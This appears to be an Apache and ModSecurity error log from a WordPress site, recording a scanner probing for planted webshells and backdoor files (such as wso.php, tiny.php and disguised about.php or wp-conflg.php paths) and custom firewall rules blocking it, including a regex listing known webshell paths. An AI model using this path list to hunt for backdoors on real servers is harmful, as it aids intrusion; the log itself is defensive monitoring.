[Sat Feb 28 08:55:22.803488 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.23:58701] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:23.246459 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.23:58701] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:23.682162 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.23:58701] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/1.php"] [unique_id "aaI8-2uX5e1Q32gqxH1LWQAAARY"]
[Sat Feb 28 08:55:24.570469 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.25:20359] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:25.009692 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.25:20359] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aaI8_aIAO5fN7BxyqcFJvAAAAM0"]
[Sat Feb 28 08:55:25.892587 2026] [:error] [pid 11791:tid 11808] [client 173.244.55.25:31897] [client 173.244.55.25] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.25, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaI8_WuX5e1Q32gqxH1LcwAAAQ8"]
[Sat Feb 28 08:55:26.340583 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.25:31897] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:27.232121 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.25:31897] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "aaI8_2uX5e1Q32gqxH1LkAAAARg"]
[Sat Feb 28 08:55:28.121795 2026] [proxy_fcgi:error] [pid 39184:tid 39231] [client 173.244.55.30:37931] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:28.566462 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 173.244.55.30:37931] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:29.445662 2026] [:error] [pid 39184:tid 39231] [client 173.244.55.30:37931] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update-core.php"] [unique_id "aaI9AVtZF9Zd_U7easCNLgAAAEw"]
[Sat Feb 28 08:55:30.320103 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.20:61125] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:30.764513 2026] [:error] [pid 11791:tid 11804] [client 173.244.55.20:61125] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aaI9AmuX5e1Q32gqxH1LwQAAAQs"]
[Sat Feb 28 08:55:31.645833 2026] [:error] [pid 39184:tid 39236] [client 173.244.55.20:26293] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/blue/about.php"] [unique_id "aaI9A1tZF9Zd_U7easCNRgAAAFE"]
[Sat Feb 28 08:55:32.968219 2026] [proxy_fcgi:error] [pid 39292:tid 39315] [client 173.244.55.31:32861] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:33.405767 2026] [:error] [pid 39292:tid 39298] [client 173.244.55.31:32861] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaI9BaIAO5fN7BxyqcFKKwAAAMQ"]
[Sat Feb 28 08:55:35.184384 2026] [:error] [pid 39185:tid 39265] [client 173.244.55.29:30131] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/content.php"] [unique_id "aaI9BxVE-FfM89u7BQa0IAAAAJM"]
[Sat Feb 28 08:55:36.081517 2026] [proxy_fcgi:error] [pid 11791:tid 11811] [client 173.244.55.28:42025] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:38.751599 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.28:42025] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/bypass.php"] [unique_id "aaI9CmuX5e1Q32gqxH1MKAAAARc"]
[Sat Feb 28 08:55:40.100470 2026] [proxy_fcgi:error] [pid 11791:tid 11813] [client 173.244.55.29:41103] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:40.545958 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.29:41103] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/index2.php"] [unique_id "aaI9DGuX5e1Q32gqxH1MPQAAARc"]
[Sat Feb 28 08:55:41.442967 2026] [proxy_fcgi:error] [pid 22194:tid 22199] [client 173.244.55.31:24005] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:41.885238 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.31:24005] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/hello-element/footer.php"] [unique_id "aaI9DX6mbajs3bzQGyu-WgAAAUA"]
[Sat Feb 28 08:55:43.209957 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.20:48761] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/admin.php"] [unique_id "aaI9D2uX5e1Q32gqxH1MaAAAAQc"]
[Sat Feb 28 08:55:44.527487 2026] [proxy_fcgi:error] [pid 39292:tid 39314] [client 173.244.55.30:54787] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:45.413445 2026] [proxy_fcgi:error] [pid 39292:tid 39306] [client 173.244.55.30:54787] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:45.866338 2026] [proxy_fcgi:error] [pid 39292:tid 39303] [client 173.244.55.30:54787] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:46.305193 2026] [:error] [pid 39292:tid 39305] [client 173.244.55.30:54787] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aaI9EqIAO5fN7BxyqcFKnAAAAMs"]
[Sat Feb 28 08:55:47.641748 2026] [proxy_fcgi:error] [pid 39185:tid 39250] [client 173.244.55.22:41095] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:48.089467 2026] [proxy_fcgi:error] [pid 39185:tid 39253] [client 173.244.55.22:41095] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:48.538730 2026] [:error] [pid 39185:tid 39252] [client 173.244.55.22:41095] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaI9FBVE-FfM89u7BQa0jAAAAIY"]
[Sat Feb 28 08:55:49.421028 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.29:48507] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css/slider.php"] [unique_id "aaI9FX6mbajs3bzQGyu-xgAAAVQ"]
[Sat Feb 28 08:55:50.747748 2026] [proxy_fcgi:error] [pid 39184:tid 39234] [client 173.244.55.26:50919] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:51.183250 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.26:50919] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaI9F1tZF9Zd_U7easCOEwAAAFc"]
[Sat Feb 28 08:55:52.507681 2026] [:error] [pid 39292:tid 39295] [client 173.244.55.25:31147] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/libraries/phpmailer/updates.php"] [unique_id "aaI9GKIAO5fN7BxyqcFK4QAAAME"]
[Sat Feb 28 08:55:53.839089 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.30:47321] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nf_tracking.php"] [unique_id "aaI9GaIAO5fN7BxyqcFK_QAAAMI"]
[Sat Feb 28 08:55:54.720782 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.23:61903] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:55.606441 2026] [proxy_fcgi:error] [pid 22194:tid 22206] [client 173.244.55.23:61903] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:56.043601 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 173.244.55.23:61903] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:56.487441 2026] [proxy_fcgi:error] [pid 22194:tid 22198] [client 173.244.55.23:61903] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:56.926273 2026] [proxy_fcgi:error] [pid 22194:tid 22213] [client 173.244.55.23:61903] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:55:57.363119 2026] [:error] [pid 22194:tid 22198] [client 173.244.55.23:61903] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wso.php"] [unique_id "aaI9HX6mbajs3bzQGyu_aQAAAUI"]
[Sat Feb 28 08:55:58.243000 2026] [:error] [pid 39183:tid 39209] [client 173.244.55.28:41967] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/wso.php"] [unique_id "aaI9HhCf4HvhVePw3Laq4AAAABE"]
[Sat Feb 28 08:55:59.574917 2026] [:error] [pid 39184:tid 39228] [client 173.244.55.22:52859] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaI9H1tZF9Zd_U7easCOVAAAAEk"]
[Sat Feb 28 08:56:00.450631 2026] [proxy_fcgi:error] [pid 39183:tid 39214] [client 173.244.55.29:64409] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:00.900450 2026] [proxy_fcgi:error] [pid 39183:tid 39199] [client 173.244.55.29:64409] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:01.336408 2026] [:error] [pid 39183:tid 39215] [client 173.244.55.29:64409] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaI9IRCf4HvhVePw3Laq-wAAABc"]
[Sat Feb 28 08:56:02.660137 2026] [:error] [pid 22194:tid 22196] [client 173.244.55.29:44211] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaI9In6mbajs3bzQGyu_rQAAAUA"]
[Sat Feb 28 08:56:03.994454 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.25:52443] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:05.320949 2026] [:error] [pid 11791:tid 11813] [client 173.244.55.25:52443] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/file.php"] [unique_id "aaI9JWuX5e1Q32gqxH1N5AAAARQ"]
[Sat Feb 28 08:56:06.199444 2026] [proxy_fcgi:error] [pid 39292:tid 39296] [client 173.244.55.23:61603] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:06.648456 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 173.244.55.23:61603] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:07.085042 2026] [:error] [pid 39292:tid 39312] [client 173.244.55.23:61603] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaI9J6IAO5fN7BxyqcFLlAAAANI"]
[Sat Feb 28 08:56:07.969297 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.21:29147] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaI9J36mbajs3bzQGyu_8AAAAVY"]
[Sat Feb 28 08:56:11.074462 2026] [proxy_fcgi:error] [pid 39292:tid 39304] [client 173.244.55.23:26503] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:11.951133 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.23:26503] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaI9K6IAO5fN7BxyqcFL0gAAAMI"]
[Sat Feb 28 08:56:13.279327 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.20:49673] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aaI9LRVE-FfM89u7BQa1VAAAAJQ"]
[Sat Feb 28 08:56:14.592456 2026] [proxy_fcgi:error] [pid 39185:tid 39248] [client 173.244.55.29:36535] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:15.035590 2026] [proxy_fcgi:error] [pid 39185:tid 39263] [client 173.244.55.29:36535] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:15.473249 2026] [:error] [pid 39185:tid 39270] [client 173.244.55.29:36535] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaI9LxVE-FfM89u7BQa1awAAAJg"]
[Sat Feb 28 08:56:16.805454 2026] [proxy_fcgi:error] [pid 22194:tid 22201] [client 173.244.55.28:43883] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:17.245987 2026] [:error] [pid 22194:tid 22211] [client 173.244.55.28:43883] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waf_defender.php"] [unique_id "aaI9MX6mbajs3bzQGyvAUwAAAU8"]
[Sat Feb 28 08:56:18.118641 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.23:60155] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/waf_defender.php"] [unique_id "aaI9Mn6mbajs3bzQGyvAYQAAAUM"]
[Sat Feb 28 08:56:18.995451 2026] [proxy_fcgi:error] [pid 11791:tid 11807] [client 173.244.55.30:31781] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:19.873224 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.30:31781] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aaI9M2uX5e1Q32gqxH1PRgAAAQo"]
[Sat Feb 28 08:56:20.773544 2026] [proxy_fcgi:error] [pid 39185:tid 39268] [client 173.244.55.28:33253] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:22.101297 2026] [:error] [pid 39185:tid 39263] [client 173.244.55.28:33253] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaI9NhVE-FfM89u7BQa1mwAAAJE"]
[Sat Feb 28 08:56:23.431442 2026] [proxy_fcgi:error] [pid 22194:tid 22210] [client 173.244.55.25:61621] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:24.307619 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.25:61621] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/sky-pro/js.php"] [unique_id "aaI9OH6mbajs3bzQGyvBAAAAAVQ"]
[Sat Feb 28 08:56:25.641073 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.26:37499] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaI9OVtZF9Zd_U7easCO5wAAAFc"]
[Sat Feb 28 08:56:26.979174 2026] [proxy_fcgi:error] [pid 39292:tid 39305] [client 173.244.55.22:63517] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:28.308761 2026] [proxy_fcgi:error] [pid 39292:tid 39310] [client 173.244.55.22:63517] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:28.746075 2026] [proxy_fcgi:error] [pid 39292:tid 39300] [client 173.244.55.22:63517] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:29.181762 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.22:63517] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/1.php"] [unique_id "aaI9PaIAO5fN7BxyqcFMXAAAAMI"]
[Sat Feb 28 08:56:31.379601 2026] [:error] [pid 11791:tid 11794] [client 173.244.55.26:51031] [client 173.244.55.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.26, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaI9P2uX5e1Q32gqxH1QYgAAAQE"]
[Sat Feb 28 08:56:31.819288 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.26:51031] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-conflg.php"] [unique_id "aaI9P2uX5e1Q32gqxH1QbAAAARg"]
[Sat Feb 28 08:56:33.138566 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.22:32017] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:34.460128 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.22:32017] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaI9QmuX5e1Q32gqxH1QrQAAARA"]
[Sat Feb 28 08:56:35.344177 2026] [:error] [pid 39185:tid 39266] [client 173.244.55.28:31801] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/small.php"] [unique_id "aaI9QxVE-FfM89u7BQa16wAAAJQ"]
[Sat Feb 28 08:56:36.222467 2026] [proxy_fcgi:error] [pid 22194:tid 22203] [client 173.244.55.21:34271] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:56:36.659115 2026] [:error] [pid 22194:tid 22204] [client 173.244.55.21:34271] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaI9RH6mbajs3bzQGyvB7gAAAUg"]
[Sat Feb 28 08:56:37.544452 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.22:62279] AH01071: Got error 'Primary script unknown'
